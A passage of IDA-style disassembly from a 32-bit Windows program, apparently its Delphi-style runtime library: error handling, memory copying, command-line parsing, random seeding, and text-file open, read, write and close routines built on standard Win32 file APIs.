loc_40002C37:				; CODE XREF: sub_40002C20+2j
		xor	eax, eax
		rep retn
sub_40002C20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002C3C	proc near		; CODE XREF: sub_40003C9C+Cp
					; sub_40004884+1Cp ...
		test	eax, eax
		jz	short locret_40002C4A
		call	off_4001A728
		test	eax, eax
		jnz	short loc_40002C4C

locret_40002C4A:			; CODE XREF: sub_40002C3C+2j
		rep retn
; ---------------------------------------------------------------------------


loc_40002C4C:				; CODE XREF: sub_40002C3C+Cj
		mov	al, 2
		jmp	sub_40002D50
sub_40002C3C	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40002C54	proc near		; CODE XREF: sub_40004F74+22p
					; sub_4000599C+BAp ...
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_40002C8C
		test	edx, edx
		jz	short loc_40002C76
		push	eax
		mov	eax, ecx
		call	off_4001A72C
		pop	ecx
		or	eax, eax
		jz	short loc_40002C85
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40002C6F:				; CODE XREF: sub_40002C54+2Ej
		mov	al, 2
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40002C76:				; CODE XREF: sub_40002C54+8j
		mov	[eax], edx
		mov	eax, ecx
		call	off_4001A728
		or	eax, eax
		jnz	short loc_40002C6F
		retn
; ---------------------------------------------------------------------------


loc_40002C85:				; CODE XREF: sub_40002C54+16j
					; sub_40002C54+48j
		mov	al, 1
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


loc_40002C8C:				; CODE XREF: sub_40002C54+4j
		test	edx, edx
		jz	short locret_40002CA0
		push	eax
		mov	eax, edx
		call	off_4001A724
		pop	ecx
		or	eax, eax
		jz	short loc_40002C85
		mov	[ecx], eax

locret_40002CA0:			; CODE XREF: sub_40002C54+3Aj
		retn
sub_40002C54	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002CA4	proc near		; CODE XREF: sub_4000E068+6p
					; sub_4000E068:loc_4000E093p ...
		call	sub_40006428
		cmp	dword ptr [eax+0], 0
		jz	short loc_40002CC1
		call	sub_40006428
		mov	eax, [eax+0]
		mov	eax, [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_40002CC1:				; CODE XREF: sub_40002CA4+Cj
		xor	eax, eax
		retn
sub_40002CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002CC4	proc near		; CODE XREF: sub_4000E068:loc_4000E0DBp
		push	ebx
		push	esi
		call	sub_40006428
		cmp	dword ptr [eax+0], 0
		jz	short loc_40002CEE
		call	sub_40006428
		mov	esi, [eax+0]
		mov	ebx, [esi+8]
		call	sub_40006428
		xor	eax, eax
		mov	[esi+8], eax
		jmp	short loc_40002CF0
; ---------------------------------------------------------------------------


loc_40002CEE:				; CODE XREF: sub_40002CC4+Ej
		xor	ebx, ebx


loc_40002CF0:				; CODE XREF: sub_40002CC4+28j
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40002CC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40002CF8	proc near		; CODE XREF: sub_40002D04+41p
					; .text:40004425p
		mov	dword_4001A004,	edx
		call	sub_4000486C
sub_40002CF8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40002D04	proc near		; CODE XREF: sub_40002D50+6j
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:off_4001C008, 0
		jz	short loc_40002D20
		mov	edx, esi
		mov	eax, ebx
		call	ds:off_4001C008


loc_40002D20:				; CODE XREF: sub_40002D04+10j
		test	bl, bl
		jnz	short loc_40002D31
		call	sub_40006428
		mov	ebx, [eax+4]
		jmp	short loc_40002D40
; ---------------------------------------------------------------------------


loc_40002D31:				; CODE XREF: sub_40002D04+1Ej
		cmp	bl, 18h
		ja	short loc_40002D40
		movzx	eax, bl
		movzx	ebx, byte_4001A73C[eax]


loc_40002D40:				; CODE XREF: sub_40002D04+2Bj
					; sub_40002D04+30j
		movzx	eax, bl
		mov	edx, esi
		call	sub_40002CF8
sub_40002D04	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40002D50	proc near		; CODE XREF: sub_40002C08+12j
					; sub_40002C20+12j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_40002D04
sub_40002D50	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40002D5C	proc near		; CODE XREF: sub_4000AF68+28p
					; .itext:400199F0p ...
		push	eax
		push	edx
		push	ecx
		call	sub_40006428
		cmp	dword ptr [eax+4], 0
		pop	ecx
		pop	edx
		pop	eax
		jnz	short loc_40002D71
		retn
; ---------------------------------------------------------------------------


loc_40002D71:				; CODE XREF: sub_40002D5C+12j
		xor	eax, eax
		jmp	sub_40002D50
sub_40002D5C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002D7C	proc near		; CODE XREF: sub_40002D8C+5p
					; sub_40003390+3Cp ...
		push	ebx
		mov	ebx, eax
		call	sub_40006428
		mov	[eax+4], ebx
		pop	ebx
		retn
sub_40002D7C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002D8C	proc near		; CODE XREF: sub_4000361C+17p
		call	sub_400011D8	; RtlGetLastWin32Error
		call	sub_40002D7C
		retn
sub_40002D8C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002D98	proc near		; CODE XREF: sub_4001293C+ABp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, eax
		mov	edi, [esp+8+arg_0]
		xor	eax, eax
		or	al, [esi]
		jz	short loc_40002DD1
		test	edx, edx
		jle	short loc_40002DC2
		cmp	edx, eax
		jg	short loc_40002DC9


loc_40002DAE:				; CODE XREF: sub_40002D98+2Fj
		sub	eax, edx
		inc	eax
		test	ecx, ecx
		jl	short loc_40002DC9
		cmp	ecx, eax
		jg	short loc_40002DCD


loc_40002DB9:				; CODE XREF: sub_40002D98+33j
					; sub_40002D98+37j
		add	esi, edx
		mov	[edi], cl
		inc	edi
		rep movsb
		jmp	short loc_40002DD3
; ---------------------------------------------------------------------------


loc_40002DC2:				; CODE XREF: sub_40002D98+10j
		mov	edx, 1
		jmp	short loc_40002DAE
; ---------------------------------------------------------------------------


loc_40002DC9:				; CODE XREF: sub_40002D98+14j
					; sub_40002D98+1Bj
		xor	ecx, ecx
		jmp	short loc_40002DB9
; ---------------------------------------------------------------------------


loc_40002DCD:				; CODE XREF: sub_40002D98+1Fj
		mov	ecx, eax
		jmp	short loc_40002DB9
; ---------------------------------------------------------------------------


loc_40002DD1:				; CODE XREF: sub_40002D98+Cj
		mov	[edi], al


loc_40002DD3:				; CODE XREF: sub_40002D98+28j
		pop	edi
		pop	esi
		retn	4
sub_40002D98	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002DDC	proc near		; CODE XREF: sub_4000B230+7p
		push	ebx
		call	sub_40006428
		mov	ebx, [eax+4]
		call	sub_40006428
		xor	edx, edx
		mov	[eax+4], edx
		mov	eax, ebx
		pop	ebx
		retn
sub_40002DDC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002DFC	proc near		; CODE XREF: sub_400021F0+Ap
					; sub_40003328+4Fp ...
		cmp	eax, edx
		jz	short locret_40002E31
		cmp	ecx, 20h
		ja	short loc_40002E81
		sub	ecx, 8
		jg	short loc_40002E11
		jmp	ds:off_40002E54[ecx*4]
; ---------------------------------------------------------------------------


loc_40002E11:				; CODE XREF: sub_40002DFC+Cj
		fild	qword ptr [ecx+eax]
		fild	qword ptr [eax]
		cmp	ecx, 8
		jle	short loc_40002E2C
		fild	qword ptr [eax+8]
		cmp	ecx, 10h
		jle	short loc_40002E29
		fild	qword ptr [eax+10h]
		fistp	qword ptr [edx+10h]


loc_40002E29:				; CODE XREF: sub_40002DFC+25j
		fistp	qword ptr [edx+8]


loc_40002E2C:				; CODE XREF: sub_40002DFC+1Dj
		fistp	qword ptr [edx]
		fistp	qword ptr [ecx+edx]

locret_40002E31:			; CODE XREF: sub_40002DFC+2j
					; DATA XREF: sub_40002DFC+38o
		retn
; ---------------------------------------------------------------------------
		align 4
		dd offset locret_40002E31
		dd offset loc_40002EB2
		dd offset loc_40002EB8
		dd offset loc_40002EBF
		dd offset loc_40002ECC
		dd offset loc_40002ED1
		dd offset loc_40002EDC
		dd offset loc_40002EE9
off_40002E54	dd offset loc_40002EF4	; DATA XREF: sub_40002DFC+Er
; ---------------------------------------------------------------------------


loc_40002E58:				; CODE XREF: sub_40002DFC+89j
					; sub_40002DFC+92j
		push	edx
		fild	qword ptr [eax]
		lea	eax, [ecx+eax-8]
		lea	ecx, [edx+ecx-8]
		fild	qword ptr [eax]
		push	ecx
		neg	ecx
		and	edx, 0FFFFFFF8h
		lea	ecx, [edx+ecx+8]
		pop	edx


loc_40002E70:				; CODE XREF: sub_40002DFC+7Dj
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		add	ecx, 8
		jl	short loc_40002E70
		fistp	qword ptr [edx]
		pop	edx
		fistp	qword ptr [edx]
		retn
; ---------------------------------------------------------------------------


loc_40002E81:				; CODE XREF: sub_40002DFC+7j
		jle	short locret_40002EB1
		cmp	eax, edx
		ja	short loc_40002E58
		sub	edx, ecx
		cmp	eax, edx
		lea	edx, [ecx+edx]
		jbe	short loc_40002E58
		sub	ecx, 8
		push	ecx
		fild	qword ptr [ecx+eax]
		fild	qword ptr [eax]
		add	ecx, edx
		and	ecx, 0FFFFFFF8h
		sub	ecx, edx


loc_40002EA0:				; CODE XREF: sub_40002DFC+ADj
		fild	qword ptr [ecx+eax]
		fistp	qword ptr [ecx+edx]
		sub	ecx, 8
		jg	short loc_40002EA0
		pop	ecx
		fistp	qword ptr [edx]
		fistp	qword ptr [ecx+edx]

locret_40002EB1:			; CODE XREF: sub_40002DFC:loc_40002E81j
		retn
; ---------------------------------------------------------------------------


loc_40002EB2:				; DATA XREF: sub_40002DFC+3Co
		movzx	ecx, byte ptr [eax]
		mov	[edx], cl
		retn
; ---------------------------------------------------------------------------


loc_40002EB8:				; DATA XREF: sub_40002DFC+40o
		movzx	ecx, word ptr [eax]
		mov	[edx], cx
		retn
; ---------------------------------------------------------------------------


loc_40002EBF:				; DATA XREF: sub_40002DFC+44o
		mov	cx, [eax]
		mov	al, [eax+2]
		mov	[edx], cx
		mov	[edx+2], al
		retn
; ---------------------------------------------------------------------------


loc_40002ECC:				; DATA XREF: sub_40002DFC+48o
		mov	ecx, [eax]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_40002ED1:				; DATA XREF: sub_40002DFC+4Co
		mov	ecx, [eax]
		mov	al, [eax+4]
		mov	[edx], ecx
		mov	[edx+4], al
		retn
; ---------------------------------------------------------------------------


loc_40002EDC:				; DATA XREF: sub_40002DFC+50o
		mov	ecx, [eax]
		mov	ax, [eax+4]
		mov	[edx], ecx
		mov	[edx+4], ax
		retn
; ---------------------------------------------------------------------------


loc_40002EE9:				; DATA XREF: sub_40002DFC+54o
		mov	ecx, [eax]
		mov	eax, [eax+3]
		mov	[edx], ecx
		mov	[edx+3], eax
		retn
; ---------------------------------------------------------------------------


loc_40002EF4:				; CODE XREF: sub_40002DFC+Ej
					; DATA XREF: sub_40002DFC:off_40002E54o
		fild	qword ptr [eax]
		fistp	qword ptr [edx]
		retn
sub_40002DFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002EFC	proc near		; CODE XREF: sub_40002FF8+41p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_40002F0F
; ---------------------------------------------------------------------------


loc_40002F07:				; CODE XREF: sub_40002EFC+1Bj
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax


loc_40002F0F:				; CODE XREF: sub_40002EFC+9j
					; sub_40002EFC+2Bj
		cmp	byte ptr [ebx],	0
		jz	short loc_40002F19
		cmp	byte ptr [ebx],	20h
		jbe	short loc_40002F07


loc_40002F19:				; CODE XREF: sub_40002EFC+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F29
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_40002F29
		add	ebx, 2
		jmp	short loc_40002F0F
; ---------------------------------------------------------------------------


loc_40002F29:				; CODE XREF: sub_40002EFC+20j
					; sub_40002EFC+26j
		xor	ebp, ebp
		mov	[esp+14h+var_14], ebx
		jmp	short loc_40002F78
; ---------------------------------------------------------------------------


loc_40002F30:				; CODE XREF: sub_40002EFC+7Fj
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F68
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002F4F
; ---------------------------------------------------------------------------


loc_40002F3F:				; CODE XREF: sub_40002EFC+5Bj
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		mov	eax, edi
		sub	eax, ebx
		add	ebp, eax
		mov	ebx, edi


loc_40002F4F:				; CODE XREF: sub_40002EFC+41j
		cmp	byte ptr [ebx],	0
		jz	short loc_40002F59
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F3F


loc_40002F59:				; CODE XREF: sub_40002EFC+56j
		cmp	byte ptr [ebx],	0
		jz	short loc_40002F78
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002F78
; ---------------------------------------------------------------------------


loc_40002F68:				; CODE XREF: sub_40002EFC+37j
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		mov	eax, edi
		sub	eax, ebx
		add	ebp, eax
		mov	ebx, edi


loc_40002F78:				; CODE XREF: sub_40002EFC+32j
					; sub_40002EFC+60j ...
		cmp	byte ptr [ebx],	20h
		ja	short loc_40002F30
		mov	eax, esi
		mov	edx, ebp
		call	sub_40004F74
		mov	ebx, [esp+14h+var_14]
		mov	ebp, [esi]
		xor	esi, esi
		jmp	short loc_40002FE9
; ---------------------------------------------------------------------------


loc_40002F8F:				; CODE XREF: sub_40002EFC+F0j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002FD0
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002FB7
; ---------------------------------------------------------------------------


loc_40002F9E:				; CODE XREF: sub_40002EFC+C3j
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		cmp	edi, ebx
		jbe	short loc_40002FB7


loc_40002FAA:				; CODE XREF: sub_40002EFC+B9j
		movzx	eax, byte ptr [ebx]
		mov	[ebp+esi+0], al
		inc	ebx
		inc	esi
		cmp	edi, ebx
		ja	short loc_40002FAA


loc_40002FB7:				; CODE XREF: sub_40002EFC+A0j
					; sub_40002EFC+ACj
		cmp	byte ptr [ebx],	0
		jz	short loc_40002FC1
		cmp	byte ptr [ebx],	22h
		jnz	short loc_40002F9E


loc_40002FC1:				; CODE XREF: sub_40002EFC+BEj
		cmp	byte ptr [ebx],	0
		jz	short loc_40002FE9
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	ebx, eax
		jmp	short loc_40002FE9
; ---------------------------------------------------------------------------


loc_40002FD0:				; CODE XREF: sub_40002EFC+96j
		push	ebx
		call	sub_400011A0	; CharNextA
		mov	edi, eax
		cmp	edi, ebx
		jbe	short loc_40002FE9


loc_40002FDC:				; CODE XREF: sub_40002EFC+EBj
		movzx	eax, byte ptr [ebx]
		mov	[ebp+esi+0], al
		inc	ebx
		inc	esi
		cmp	edi, ebx
		ja	short loc_40002FDC


loc_40002FE9:				; CODE XREF: sub_40002EFC+91j
					; sub_40002EFC+C8j ...
		cmp	byte ptr [ebx],	20h
		ja	short loc_40002F8F
		mov	eax, ebx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40002EFC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002FF8	proc near		; CODE XREF: sub_400171BC+83p
					; sub_400171BC+D6p ...

var_114		= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_40004884
		test	esi, esi
		jnz	short loc_4000302E
		push	105h
		lea	eax, [esp+118h+var_114]
		push	eax
		push	0
		call	sub_400011E8	; GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_40004974
		jmp	short loc_4000304C
; ---------------------------------------------------------------------------


loc_4000302E:				; CODE XREF: sub_40002FF8+16j
		call	sub_400011D0	; GetCommandLineA
		mov	edi, eax


loc_40003035:				; CODE XREF: sub_40002FF8+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_40002EFC
		mov	edi, eax
		test	esi, esi
		jz	short loc_4000304C
		cmp	dword ptr [ebx], 0
		jz	short loc_4000304C
		dec	esi
		jmp	short loc_40003035
; ---------------------------------------------------------------------------


loc_4000304C:				; CODE XREF: sub_40002FF8+34j
					; sub_40002FF8+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40002FF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40003058	proc near		; CODE XREF: sub_40017F10+3p

var_8		= dword	ptr -8

		add	esp, 0FFFFFFF8h
		push	esp
		call	sub_40001290	; QueryPerformanceCounter
		test	eax, eax
		jz	short loc_40003070
		mov	eax, [esp+8+var_8]
		mov	dword_4001A008,	eax
		pop	ecx
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_40003070:				; CODE XREF: sub_40003058+Bj
		call	sub_40001298	; GetTickCount
		mov	dword_4001A008,	eax
		pop	ecx
		pop	edx
		retn
sub_40003058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003080	proc near		; CODE XREF: sub_40017F10+Dp
					; .itext:40019927p ...
		push	ebx
		xor	ebx, ebx
		imul	edx, dword_4001A008[ebx], 8088405h
		inc	edx
		mov	dword_4001A008[ebx], edx
		mul	edx
		mov	eax, edx
		pop	ebx
		retn
sub_40003080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000309C	proc near		; CODE XREF: sub_40005754+62p
					; sub_40005754+7Ap
		cmp	al, 61h
		jb	short locret_400030A6
		cmp	al, 7Ah
		ja	short locret_400030A6
		sub	al, 20h

locret_400030A6:			; CODE XREF: sub_4000309C+2j
					; sub_4000309C+6j
		retn
sub_4000309C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400030A8	proc near		; CODE XREF: sub_4000ED90+D4p
					; sub_4000ED90+F5p ...

var_8		= qword	ptr -8

		sub	esp, 8
		fistp	[esp+8+var_8]
		wait
		pop	eax
		pop	edx
		retn
sub_400030A8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_400030B4	proc near		; CODE XREF: sub_40003EC8+10j
					; DATA XREF: .text:4000D688o ...
		cmp	ds:off_4001C02C, 0
		jz	short loc_400030C3
		call	ds:off_4001C02C


loc_400030C3:				; CODE XREF: sub_400030B4+7j
		mov	eax, 0D2h
		jmp	sub_40004878
sub_400030B4	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400030D0	proc near		; DATA XREF: .text:400031ACo
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	[ebx+10h], eax
		xor	eax, eax
		mov	[ebx+0Ch], eax
		push	0
		lea	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+8]
		push	eax
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_40001170	; ReadFile
		test	eax, eax
		jnz	short loc_40003105
		call	sub_400011D8	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jnz	short loc_40003107
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003105:				; CODE XREF: sub_400030D0+25j
		xor	eax, eax


loc_40003107:				; CODE XREF: sub_400030D0+2Fj
		pop	ebx
		retn
sub_400030D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000310C	proc near		; DATA XREF: .text:400031E3o
					; .text:400032B3o ...
		xor	eax, eax
		retn
sub_4000310C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003110	proc near		; DATA XREF: .text:loc_400031D5o
					; .text:400032FBo

var_C		= byte ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		mov	esi, [ebx+0Ch]
		test	esi, esi
		jnz	short loc_40003120
		xor	eax, eax
		jmp	short loc_40003146
; ---------------------------------------------------------------------------


loc_40003120:				; CODE XREF: sub_40003110+Aj
		push	0
		lea	eax, [esp+10h+var_C]
		push	eax
		push	esi
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx]
		push	eax
		call	sub_40001198	; WriteFile
		test	eax, eax
		jnz	short loc_4000313F
		call	sub_400011D8	; RtlGetLastWin32Error
		jmp	short loc_40003141
; ---------------------------------------------------------------------------


loc_4000313F:				; CODE XREF: sub_40003110+26j
		xor	eax, eax


loc_40003141:				; CODE XREF: sub_40003110+2Dj
		xor	edx, edx
		mov	[ebx+0Ch], edx


loc_40003146:				; CODE XREF: sub_40003110+Ej
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_40003110	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000314C	proc near		; CODE XREF: sub_4000315C+Bp
					; sub_4000361C+Ep
		push	ebx
		mov	ebx, eax
		push	ebx
		call	sub_40001140	; CloseHandle
		dec	eax
		setz	al
		pop	ebx
		retn
sub_4000314C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000315C	proc near		; DATA XREF: .text:loc_400031DCo
		push	ebx
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		mov	eax, [ebx]
		call	sub_4000314C
		test	al, al
		jnz	short loc_40003177
		call	sub_400011D8	; RtlGetLastWin32Error
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40003177:				; CODE XREF: sub_4000315C+12j
		xor	eax, eax
		pop	ebx
		retn
sub_4000315C	endp

; ---------------------------------------------------------------------------
		align 4


loc_4000317C:				; DATA XREF: sub_40003328+35o
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	[esi+0Ch], eax
		mov	[esi+10h], eax
		mov	ax, [esi+4]
		sub	eax, 0D7B1h
		jz	short loc_4000319D
		dec	eax
		jz	short loc_400031B5
		dec	eax
		jz	short loc_400031C6
		jmp	loc_40003304
; ---------------------------------------------------------------------------


loc_4000319D:				; CODE XREF: .text:40003190j
		mov	eax, 80000000h
		mov	edx, 1
		mov	ecx, 3
		mov	dword ptr [esi+1Ch], offset sub_400030D0
		jmp	short loc_400031DC
; ---------------------------------------------------------------------------


loc_400031B5:				; CODE XREF: .text:40003193j
		mov	eax, 40000000h
		mov	edx, 1
		mov	ecx, 2
		jmp	short loc_400031D5
; ---------------------------------------------------------------------------


loc_400031C6:				; CODE XREF: .text:40003196j
		mov	eax, 0C0000000h
		mov	edx, 1
		mov	ecx, 3


loc_400031D5:				; CODE XREF: .text:400031C4j
		mov	dword ptr [esi+1Ch], offset sub_40003110


loc_400031DC:				; CODE XREF: .text:400031B3j
		mov	dword ptr [esi+24h], offset sub_4000315C
		mov	dword ptr [esi+20h], offset sub_4000310C
		cmp	byte ptr [esi+48h], 0
		jz	loc_400032A6
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [esi+48h]
		push	eax
		call	sub_40001148	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jz	loc_4000331A
		mov	[esi], eax
		cmp	word ptr [esi+4], 0D7B3h
		jnz	loc_400032E3
		dec	word ptr [esi+4]
		push	0
		push	dword ptr [esi]
		call	sub_40001158	; GetFileSize
		inc	eax
		jz	loc_4000331A
		sub	eax, 81h
		jnb	short loc_4000323D
		xor	eax, eax


loc_4000323D:				; CODE XREF: .text:40003239j
		push	0
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_40001188	; SetFilePointer
		inc	eax
		jz	loc_4000331A
		push	0
		mov	edx, esp
		push	0
		push	edx
		push	80h
		lea	edx, [esi+14Ch]
		push	edx
		push	dword ptr [esi]
		call	sub_40001170	; ReadFile
		pop	edx
		dec	eax
		jnz	loc_4000331A
		xor	eax, eax


loc_40003274:				; CODE XREF: .text:40003283j
		cmp	eax, edx
		jnb	short loc_400032E3
		cmp	byte ptr [esi+eax+14Ch], 0Eh
		jz	short loc_40003285
		inc	eax
		jmp	short loc_40003274
; ---------------------------------------------------------------------------


loc_40003285:				; CODE XREF: .text:40003280j
		push	2
		push	0
		sub	eax, edx
		push	eax
		push	dword ptr [esi]
		call	sub_40001188	; SetFilePointer
		inc	eax
		jz	loc_4000331A
		push	dword ptr [esi]
		call	sub_40001180	; SetEndOfFile
		dec	eax
		jnz	short loc_4000331A
		jmp	short loc_400032E3
; ---------------------------------------------------------------------------


loc_400032A6:				; CODE XREF: .text:400031EEj
		lea	eax, [esi+14Ch]
		mov	dword ptr [esi+8], 80h
		mov	dword ptr [esi+24h], offset sub_4000310C
		mov	[esi+14h], eax
		cmp	word ptr [esi+4], 0D7B2h
		jz	short loc_400032C9
		push	0FFFFFFF6h
		jmp	short loc_400032D7
; ---------------------------------------------------------------------------


loc_400032C9:				; CODE XREF: .text:400032C3j
		cmp	esi, offset dword_4001C3E8
		jnz	short loc_400032D5
		push	0FFFFFFF4h
		jmp	short loc_400032D7
; ---------------------------------------------------------------------------


loc_400032D5:				; CODE XREF: .text:400032CFj
		push	0FFFFFFF5h


loc_400032D7:				; CODE XREF: .text:400032C7j
					; .text:400032D3j
		call	sub_40001160	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4000331A
		mov	[esi], eax


loc_400032E3:				; CODE XREF: .text:4000321Aj
					; .text:40003276j ...
		cmp	word ptr [esi+4], 0D7B1h
		jz	short loc_40003302
		push	dword ptr [esi]
		call	sub_40001150	; GetFileType
		test	eax, eax
		jz	short loc_40003306
		cmp	eax, 2
		jnz	short loc_40003302
		mov	dword ptr [esi+20h], offset sub_40003110


loc_40003302:				; CODE XREF: .text:400032E9j
					; .text:400032F9j
		xor	eax, eax


loc_40003304:				; CODE XREF: .text:40003198j
					; .text:40003318j ...
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40003306:				; CODE XREF: .text:400032F4j
		push	dword ptr [esi]
		call	sub_40001140	; CloseHandle
		mov	word ptr [esi+4], 0D7B0h
		mov	eax, 69h
		jmp	short loc_40003304
; ---------------------------------------------------------------------------


loc_4000331A:				; CODE XREF: .text:4000320Cj
					; .text:4000322Ej ...
		mov	word ptr [esi+4], 0D7B0h
		call	sub_400011D8	; RtlGetLastWin32Error
		jmp	short loc_40003304
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40003328	proc near		; CODE XREF: .itext:400199DCp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 14Ch
		call	sub_40003580
		lea	eax, [ebx+14Ch]
		mov	[ebx+14h], eax
		mov	word ptr [ebx+4], 0D7B0h
		movzx	eax, byte_4001A034
		mov	[ebx+6], ax
		mov	dword ptr [ebx+8], 80h
		mov	dword ptr [ebx+18h], offset loc_4000317C
		mov	eax, esi
		call	sub_40004B44
		push	eax
		mov	eax, esi
		call	sub_40004D48
		lea	edx, [ebx+48h]
		pop	ecx
		call	sub_40002DFC
		mov	eax, esi
		call	sub_40004B44
		mov	byte ptr [ebx+eax+48h],	0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_40003328	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40003390	proc near		; CODE XREF: sub_400033D8+3p
		push	ebx
		movzx	ecx, word ptr [eax+4]
		sub	cx, 0D7B1h
		jz	short loc_400033AB
		dec	ecx
		sub	cx, 2
		jnb	short loc_400033AF
		mov	ebx, edx
		call	ebx
		mov	ebx, eax
		jmp	short loc_400033C6
; ---------------------------------------------------------------------------


loc_400033AB:				; CODE XREF: sub_40003390+Aj
		xor	ebx, ebx
		jmp	short loc_400033C6
; ---------------------------------------------------------------------------


loc_400033AF:				; CODE XREF: sub_40003390+11j
		cmp	eax, offset dword_4001C21C
		jz	short loc_400033BD
		cmp	eax, offset dword_4001C3E8
		jnz	short loc_400033C1


loc_400033BD:				; CODE XREF: sub_40003390+24j
		xor	ebx, ebx
		jmp	short loc_400033C6
; ---------------------------------------------------------------------------


loc_400033C1:				; CODE XREF: sub_40003390+2Bj
		mov	ebx, 67h


loc_400033C6:				; CODE XREF: sub_40003390+19j
					; sub_40003390+1Dj ...
		test	ebx, ebx
		jz	short loc_400033D1
		mov	eax, ebx
		call	sub_40002D7C


